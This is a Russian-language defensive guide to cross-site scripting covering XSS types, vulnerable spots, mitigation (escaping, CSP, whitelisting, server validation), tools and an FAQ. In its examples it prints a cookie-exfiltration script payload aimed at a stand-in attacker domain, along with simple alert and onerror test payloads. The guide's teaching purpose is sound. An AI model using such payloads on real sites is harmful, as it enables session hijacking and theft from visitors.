Введение
XSS (Cross-Site Scripting) — это одна из самых частых и опасных уязвимостей в веб-разработке. Почти каждый, кто когда-то работал с сайтами, сталкивался с ней в той или иной форме. Казалось бы, всё просто: пользователь вводит данные, сайт их отображает — и тут встраивается чужой JavaScript, который начинает воровать сессии, менять контент, показывать рекламу, или даже заражать других посетителей. Особенно обидно, что внешне сайт работает нормально — и понять, что там есть XSS, не всегда просто. Но если разобраться, то защита вполне реальна и не так уж страшна.

Что такое XSS подробнее
По сути XSS — это уязвимость, позволяющая внедрить и выполнить авторский JavaScript в контексте доверенного сайта. Есть основные три типа XSS:

- Отражённый (Reflected) — когда вредоносный скрипт приходит вместе с URL или формой, сайт моментально его отражает в ответе, и он выполняется у пользователя. Часто встречается в страницах поиска или при ошибках, когда параметр из адреса вставляется на страницу без фильтрации.
- Хранимый (Stored) — самый неприятный, когда данные с вредоносным кодом сохраняются на сервере (например, в базе, в комментариях, в профиле пользователя) и потом выдаются многим посетителям. Такой XSS сложнее заметить и опаснее по последствиям.
- DOM-базированный — когда XSS возникает не из-за неверной обработки на сервере, а из-за ошибок в клиентском JavaScript, который динамически вставляет вредоносный код, основываясь на пользовательском вводе (например, на fragment ссылки или query-параметрах).

Если сайт где-то рисует пользовательские данные без фильтрации или экранирования, ты почти гарантированно получаешь подводные камни с XSS.

Где чаще всего встречается XSS
- Формы обратной связи или комментирования
- Поисковые строки, где значение сразу выводится на страницу
- Публичные профили и поля для описания
- Динамические шаблоны контента, где данные от пользователей вставляются в HTML без проверки
- Веб-чаты и форумы
- Проекты на популярных CMS, которые не обновлялись и используют плагины без нормальной защиты
Практика показывает, что отсутствие привычки правильно обрабатывать ввод и вывод — самая большая проблема. Особенно когда код писал кто-то неопытный или в спешке.

Практические примеры XSS
1. Допустим, у вас есть форма комментариев. Пользователь пишет:
<script>document.location='http://злой-сайт.ru?cookie='+document.cookie</script>
Если сайт просто вставляет комментарий в страницу без экранирования, у каждого нового посетителя сработает этот скрипт и отправит cookies злоумышленнику.
2. Поисковая страница принимает GET-параметр q. В урле:
?page=search&q=<script>alert('XSS')</script>
Если страница отражает значение q напрямую на экран (например, "Вы искали: <значение q>") и не экранирует теги, у пользователя вылезет алерт или что-то похуже.
3. В профиле соцсети поле "о себе" позволяет вставлять HTML. Кто-то вставил <img src=x onerror=alert('XSS')> - и при загрузке профиля запустится этот скрипт.
Часто видишь, что сайты пытаются фильтровать HTML-код, разрешая теги вроде <b>, <i>, ссылки, а скрипты — запрещают. Но если фильтр реализован криво, можно обойти и сработать XSS через хитрые payload'ы.

Типичные ошибки при защите от XSS
- Экранить только часть символов, не учитывая все возможные варианты обхода
- Фильтрация "черного списка" (запрещать опасные символы или слова), вместо "белого списка" разрешённых
- Использование функций, которые сами вставляют данные в DOM без проверки (например, innerHTML вместо textContent в JS)
- Отсутствие политики Content Security Policy (CSP) или чрезмерно лояльный CSP, который позволяет выполнение inline-скриптов
- Слепая вера в клиентскую валидацию без серверных проверок — ведь клиент можно подделать
- Неиспользование готовых механизмов шаблонизаторов, которые безопасно выводят данные
- Пренебрежение обновлениями библиотек, в которых уже закрыты известные XSS-уязвимости
Как видим, ошибки часто лежат в области незнания или недооценки важности правильной обработки данных.

Как исправлять и защищаться
1. Экранирование вывода
При выводе любых данных от пользователей нужно обязательно экранировать символы, которые интерпретируются браузером как HTML или JS: < > & " ' и т.д. В PHP есть htmlspecialchars(), Twig и другие шаблонизаторы умеют делать это автоматически.
2. Используйте Content Security Policy (CSP)
CSP позволяет ограничить, откуда браузер может загружать скрипты, и запрещать выполнение inline-скриптов. Даже если вредоносный JS попадёт в код страницы, CSP не даст ему сработать без соответствующих правил.
3. Белый список для ввода
Для полей, где возможен только текст (без HTML), лучше фильтровать все символы, кроме разрешённых. Например, для ввода имени и фамилии — только буквы, пробел и дефис.
4. Не доверяйте клиенту
Проверки вводов должны быть сделаны и на сервере, потому что клиентский код легко подделать или отключить.
5. Используйте современные фреймворки и библиотеки
Часто фреймворки (React, Vue, Angular) уже "по умолчанию" занимаются экранированием и безопасным рендерингом, так что внедрение XSS становится сложнее.
6. Регулярное тестирование и аудит кода
Проверяйте новые фичи, статический анализ и сканеры безопасности помогут найти потенциальные XSS.

Полезные инструменты для поиска и защиты
- OWASP ZAP и Burp Suite — мощные инструменты автоматического поиска XSS во время пентестов
- Nikto — быстрая проверка уязвимостей, включая XSS
- Инструменты DevTools в браузерах — полезно смотреть, что и где выполняется, проверять inline-скрипты
- Snyk, Dependency-Check — для проверки обновлений и уязвимостей в библиотеках
- Content Security Policy генераторы и валидация, например, через report-uri, помогают понять, что именно ломается и где недостатки
- Специализированные плагины для CMS, которые усиливают защиту от XSS (нужно смотреть отдельно для каждой системы)

Чек-лист по защите сайта от XSS
- Везде, где выводятся пользовательские данные, делать экранирование
- Использовать белый список вместо черного при проверке ввода
- Не вставлять данные в HTML через innerHTML без безопасной очистки
- Внедрить CSP с запретом inline-скриптов
- Делать серверную валидацию вместе с клиентской
- Обновлять CMS, библиотеки и плагины
- Проводить периодические сканирования автоматическими инструментами
- Писать тесты на уязвимости и проверять новые фичи
- При возможности использовать фреймворки, защищающие от XSS по умолчанию
- Отказываться от пользовательского HTML, если это не критично

FAQ по XSS

- Как мне узнать, есть ли XSS на моём сайте?
Лучше всего проверять на тестовом сервере. Можно вводить простые payload'ы типа <script>alert('XSS')</script> в разные поля и смотреть, сработает ли. Есть и автоматические сканеры типа OWASP ZAP, которые помогут найти возможные точки уязвимости.
- Можно ли полностью защититься от XSS?
Ни одна система не идеальна, но с грамотным подходом (правильно код, CSP, обновления) риск можно свести почти к нулю. Главное — не успокаиваться и проводить регулярный аудит.
- Какие бывают обходы фильтров?
Злоумышленники придумывают разные варианты — код можно спрятать внутри атрибутов, использовать разные кодировки, нестандартные ссылки на события (onmouseover и т.д.). Поэтому фильтровать черные списки опасно. Лучше белый список и CSP.
- Нужно ли экранировать и в JavaScript?
Да, если у вас есть динамический вывод в JS, например, вставка данных через innerHTML или встраивание в скрипты — нужно использовать методы безопасного кодирования и избегать прямого вставления данных.
- Как CSP помогает?
CSP запрещает загрузку скриптов с непроверенных источников и блокирует inline-скрипты, которые часто используются для XSS. Даже если XSS попадёт, он не выполнится.
- Можно ли обойти CSP?
Да, если CSP слишком слабый или разрешает unsafe-inline. Поэтому важно правильно его настраивать и комбинировать с остальными мерами безопасности.

В итоге, XSS — это серьёзная угроза, но с пониманием, куда смотреть и как работать с вводом/выводом, её реально контролировать. Кто сталкивался, поделитесь, как защищаете свои проекты? Какие инструменты и практики для вас оказались самыми эффективными? Хотелось бы обсудить реальные кейсы.